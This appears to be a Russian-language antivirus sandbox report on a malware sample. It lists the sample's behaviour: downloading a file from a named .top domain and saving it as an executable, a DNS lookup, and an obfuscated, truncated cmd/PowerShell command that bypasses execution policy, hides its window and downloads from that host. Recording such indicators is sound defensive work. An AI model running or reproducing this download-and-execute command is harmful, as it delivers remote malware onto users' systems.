Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^o^WErsH^E^l^l.eXe^ ^-EXecUtI^ONPoliCy^ ^byPa^SS ^-nO^Profi^L^E^ -wIN^DOws^T^yLE hi^D^D^en^ ^(^neW-^ob^je^c^t S^ysT^e^M.^ne^T^.^we^B^c^l^IenT^)^.DOwNLOa^dfi^L^E(^'http://www.fapoe...
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^o^WErsH^E^l^l.eXe^ ^-EXecUtI^ONPoliCy^ ^byPa^SS ^-nO^Profi^L^E^ -wIN^DOws^T^yLE hi^D^D^en^ ^(^neW-^ob^je^c^t S^ysT^e^M.^ne^T^.^we^B^c^l^IenT^)^.DOwNLOa^dfi^L^E(^'http://www.fapoe...' (со скрытым окном)
